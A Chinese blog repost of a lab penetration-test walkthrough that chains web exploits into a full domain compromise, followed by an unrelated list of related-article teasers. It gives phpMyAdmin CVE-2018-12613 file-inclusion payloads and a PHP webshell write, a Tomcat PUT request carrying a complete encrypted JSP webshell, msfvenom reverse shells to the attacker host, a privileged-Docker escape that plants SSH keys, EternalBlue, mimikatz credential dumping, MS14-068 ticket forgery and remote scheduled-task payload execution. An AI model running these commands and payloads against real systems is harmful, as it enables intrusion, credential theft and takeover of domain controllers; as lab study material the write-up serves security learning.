百度360必应搜狗淘宝本站头条
当前位置:网站首页 > 技术资源 > 正文

Linux渗透:曲折渗透之路 linux内网渗透

lipiwang 2024-10-27 13:28 8 浏览 0 评论

环境搭建

web服务(ubuntu):

web有三个服务:st2,Tomcat,phpmyadmin。分别为2001,2002,2003端口,为3个docker。

ip1:192.168.1.108 ip2:192.168.183.141

内网主机(win7):

ip:192.168.183.140

DC(win2008):

ip:192.168.183.130

攻击机器(kali):

ip:192.168.1.128

phpmyadmin Getshell

访问对应端口,发现都不需要输入密码直接进去了,那么这里方式就比较多了,提供的思路为使用CVE-2018-12613,漏洞网上已经有师傅分析了,这里就复现一波

2021最新整理网络安全/渗透测试/安全学习/100份src技术文档(全套视频、CTF、大厂面经、精品手册、必备工具包、路线)一>关注我,私信回复“资料”获取<一
这时一个远程文件包含漏洞,验证payload为:

http://192.168.1.108:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

可以看到读取了passwd的内容,证明漏洞存在。

这里getshell就可以通过包含session临时文件来实现命令执行 执行一个SELECT '<?php phpinfo(); ?>' 命令然后查看session值来访问临时文件。

执行成功后,查看自己的sessionid,phpMyadmin的值。

复制该值,把值带到sess_,直接访问:

http://192.168.1.108:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_0b63245d88cef3d904fa32778f96120e

既然可以RCE,那么这里如何上传webshell呢。构造sql语句如下:

select "<?php file_put_contents('/var/www/html/cmd.php','<?php @eval($_POST[pass]);?>')?>"

同样的方法找到sessionid,phpMyadmin的值。

访问:

http://192.168.1.108:2003/index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_c4056d4984f0aab2e94bc7ddf6ee1a45

再访问cmd.php,发现成功写入了。

成功连接。

Struts2

访问2001端口,发现为Structs2框架。

由于是框架,先可以直接用一些写好的工具去扫一波。发现存在S2-045,S2-046漏洞。

使用S2-046漏洞可直接远程执行命令。

并且可以直接上传shell,这里shell的路径是可以改的。

访问后发现返回500,只能说他这个马应该有点问题,利用漏洞应该是没问题的。

Tomcat

可以看到这里是8.5.19的Tomcat,一般看到这种都是找一找版本漏洞。这里kali中已经有了相关版本的poc。

searchsploit tomcat 8.5.19
searchsploit -m /exploit/jsp/webapps/42966.py

直接利用:

python 42966.py -u http://192.168.1.108:2002/

可以看到利用成功,并写入了一个shell。访问shell,证实存在漏洞:

当我想用这个脚本执行一些命令时,出现了一些问题,于是准备自己手动构造一波:

使用bp抓包,改用PUT,这里使用的是冰蝎2.0的马,3.0的马上传了之后是连不上的。

exp为:

PUT /sd.jsp/ HTTP/1.1
Host: 192.168.1.108:2002
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 617

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if(request.getParameter("pass")!=null){String k=(""+UUID.randomUUID()).replace("-","").substring(16);session.putValue("u",k);out.print(k);return;}Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec((session.getValue("u")+"").getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);%>

返回201的状态码说明上传成功

内网渗透

回到phpmyadmin这个shell。想上线cs方便操作,发现他是liunx:

cs是不自带Linux的上线方式的,但这里还是想上线,使用CrossC2插件上线。

这里如何配置网上的教程已经有很多了,生成一个命令行式的一句话,curl上线。

但是这里出现了小插曲,可能由于是docker的原因,这里并没有成功上线,更换了webshell工具也是不行的,测试本机都是可以的。

那么这里只好试试msf,生成elf文件:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=4444 -f elf > shell.elf

生成elf文件后上传到web根目录下,并chmod命令修改权限为777。

msf准备接受会话

use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.1.128
set lport 4444
run

然后执行shell.elf,成功接收到会话。

docker逃逸

这里的逃逸方法为privileged特权。特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。

此外还可以通过写入计划任务等方式在宿主机执行命令。那么这里就可以尝试使用特权模式写入ssh私钥,使用ssh登录。

查看磁盘文件:fdisk -l

可以看到是在/dev目录下:ls /dev

创建一个目录test,将/dev/sda1挂载到新建的目录下

mkdir /test
mount /dev/sda1 /test

已经可以访问宿主机上的目录内容了。

然后使用ssh生成一个私钥,用chmod命令赋予权限。

ssh-keygen -f test
chmod 600 test

这里桌面会生成一个test.pub

ls /test/home即可查看目标机器的用户都有哪些

进入到ubuntu用户,里面会存在.ssh目录,我们需要将密钥写入.ssh目录并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。依次执行以下两条命令写入密钥文件。

cp -avx /test/home/ubuntu/.ssh/id_rsa.pub/test/home/ubuntu/.ssh/authorized_keys
echo '生成的.pub文件的内容' >/test/home/ubuntu/.ssh/authorized_keys

再使用ssh去连接ssh -i test ubuntu@192.168.1.108

这里有个隐藏buff就是历史命令未删除问题,跟接下来拿win7有关系。使用命令history

liunx系统上线cs

这下应该可以上线cs了吧,还是刚刚的套路,通过curl无文件上线,成功上线。

查看网卡信息时发现除了刚刚的一些混淆的docker ip外,有另外一张网卡。

这里就准备扫一下。因为没有自带的端口扫描,上传一个fscan去扫一下:

shell /home/ubuntu/fscan_amd64 -h 192.168.183.1/24

发现有同网段主机一台win7,并且有永恒之蓝的漏洞。这里就想要利用永恒之蓝,cs在Linux上的功能还是比较缺失的,这里还是先用msf打一波。

通过上传elf文件再执行,得到shell反弹回msf,然后添加路由:

route add 192.168.183.0 255.255.255.0 4
route print
use auxiliary/server/socks_proxy
set version 4a
run

修改proxychains4.conf

使用永恒之蓝模块去打:

use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.183.140
run

这里直接上线了,执行命令后发现是有域的。

通过nslookup查询迅速确定域控ip:192.168.183.130

域控出来了,思路就明确了。这里还是想先上线cs方便操作。由于CrossC2提供的功能较少,选择做代理,将cs带入到内网。

使用Venom+Proxifier,上传agent到边缘机器。

边缘机器执行命令:

shell /home/ubuntu//Desktop/agent_linux_x86 -rhost 192.168.1.128 -rport 9999

配置Proxifier.conf文件

启动Proxifier后发现已经可以通向内网机器win7。

sudo systemctl start proxifier

这里可以中继或者使用tcp beacon。但是两个我都没有成功,cross c2在高版本的cs下的功能还是弱了点,就放弃了。

win7信息收集

拿到内网一台主机,首先就想抓他的密码,加上这台主机是win7,是可以直接抓取到明文密码的。这里已经上传了一个mimikatz,直接利用。

privilege::debug
sekurlsa::logonpasswords

win7抓取密码就比较轻松了,这里也是直接抓到明文。也跟上面历史命令相呼应。

浏览器密码等也是可以翻一下的,比较该主机已经在域内了,很多信息可能对我们拿下域控很有帮助。补丁还是打了不少,不过由于操作系统有点老了,总都会有些洞,经过对比发现ms14-068的补丁并没有安装,是可以利用的。

通过mimikatz抓取,获得了域内用户douser的sid和明文密码,并且知道域名称等信息,使用工具直接利用。

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123

注入票据,注入后通过klist查看已经有了票据。

mimikatz # kerberos::list          //查看当前机器凭证
mimikatz # kerberos::ptc TGT_douser@DEMO.com.ccache   //将票据注入

通过ipc连接或者dir可以直接访问域控机器,抓取密码的信息中已经有了域控机器名。

访问拿下域控

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\C$

有了ipc连接就可以计划任务上线了。同样生成一个正向的马。上传到DC机器。查看时间,并设置计划任务执行。

copy 2.exe \\WIN-ENS2VR5TR3N\c$\win.exe
net time \\WIN-ENS2VR5TR3N
schtasks /create /s 192.168.183.130 /tn c /tr c:/win.exe  /sc once /st 16:36

获取到shell,getsystem竟然可以直接提权。抓密码省略。。图太多了。

后记

本来是想在cs上进行后渗透,由于开头一个linux,cs上线进行后渗透还是困难了一点,msf和cs搭配使用要好一些。。

相关推荐

《每日电讯报》研发数字工具,教你更有效率地报道新闻

为鼓励新闻编辑部持续创新,《每日电讯报》正在尝试有战略地研发数字工具。网站的数字媒体主任马尔科姆o科尔斯(MalcolmColes)表示,《每日电讯报》正试图去“创建一些可持续资产”,以便于让记者们...

html5学得好不好,看掌握多少标签

html5你了解了多少?如果你还是入门阶段的话,或者还是一知半解的话,那么我们专门为你们收集的html5常用的标签大全对你就很有帮助了,你需要了解了html5有哪些标签你才能够更好的。驾驭html5...

前端分享-少年了解过iframe么(我想了解少年)

iframe就像是HTML的「内嵌画布」,允许在页面中加载独立网页,如同在画布上叠加另一幅动态画卷。核心特性包括:独立上下文:每个iframe都拥有独立的DOM/CSS/JS环境(类似浏...

做SEO要知道什么是AJAX(人能看到但搜索引擎看不到的内容)

一个明显的,人能看到但搜索引擎不能看到的内容是AJAX。那么什么是AJAX呢?其实,了解过的基本上也都清楚,AJAX不是新的编程语言,而是一种使用现有标准的新方法。AJAX最大的优点是在不重新加...

介绍最前沿的人工智能创新,‘无反向传播’神经网络训练方法?

图像由GoogleImageFX生成前言:本文整理自NoProp原始论文与实践代码,并结合多个公开实现细节进行了全流程复现。对神经网络训练机制的探索仍在不断演进,如果你也在研究反向传播之...

说说我们对HTML6的期许(对html的看法)

HTML5概述HTML5是HTML语言最受欢迎的版本之一,它支持音频和视频、离线存储、移动端、和标签属性等等。还提供了article,section,header这样的标签来帮助开发者更好...

浏览器中在线预览pdf文件,pdf.mjs插件实现web预览pdf

背景:本来只是淘宝上卖卖袜子,想着扩展一下业务,准备做同名“来家居”海外袜子馆外贸项目,碰到pdf在线预览的需求,就找了pdf.js插件进行实践后把此方法记录下来,可以通过多种方法来实现,每种方法都有...

SVG 在前端的7种使用方法,你还知道哪几种?

本文简介点赞+关注+收藏=学会了技术一直在演变,在网页中使用SVG的方法也层出不穷。每个时期都有对应的最优解。所以我打算把我知道的7种SVG的使用方法列举出来,有备无患~如果你还...

HTML5常用标签大全(html5em标签)

HTML前端开发最终取决于掌握标签的多少HTML大概有七八百个标签楼主这里给大家总结了下HTML常用标签标签描述<!--...-->定义注释。<!DOCTYPE>定义文档类型...

&quot;伪君子Snoop Dogg!&quot;... WHAT?| MetroDaily 24/7

TUE.01-新作品-虽说年纪大了会有点糊涂,但是最近SnoopDogg的这波操作实在是让粉丝们有点迷,甚至有人表示没想到他是这样的"伪君子"......而这一切都源于他近日在IG上Po出的一...

史努比snoopy卡通手机壁纸屏保(史努比壁纸无水印)

...

莎夏·班克斯盼望表哥Snoop Dogg为其作出场曲

NXT女子冠军莎夏·班克斯(SashaBanks)近日接受了迈阿密先驱报采访,访谈纪要如下:关于她出众的形象:“我一向喜欢与众不同。为了能让人眼前一亮,我的装束总是非常前卫、非常抢眼,这样才能让观众...

喜欢Snoop!全球第一间「史努比博物馆」海外分馆在东京!

1950年起,由美國漫畫家CharlesM.Schulz創作的作品《Snoopy》史努比,其鮮明的可愛角色與幽默的劇情內容,至今仍成為許多大朋友與小朋友心中的最愛。為了紀念作者所設立的全球首...

Vetements 推出 Snoop Dogg 肖像「天价」T-Shirt

Vetements的CEOGuramGvasalia早前才透露品牌经营策略的秘密–Vetements如何成为人人热议的话题品牌。但似乎他仍有更多需要解释的东西–这个法国奢侈品牌最新...

狗爷Snoop Dogg的《I Wanna Thank Me》巡回演唱会旧金山站

西海岸匪帮说唱歌手SnoopDogg在《IWannaThankMe》巡回演唱会旧金山站表演(图片来自ICphoto)西海岸匪帮说唱歌手SnoopDogg(图片来自ICphoto)西海...

取消回复欢迎 发表评论: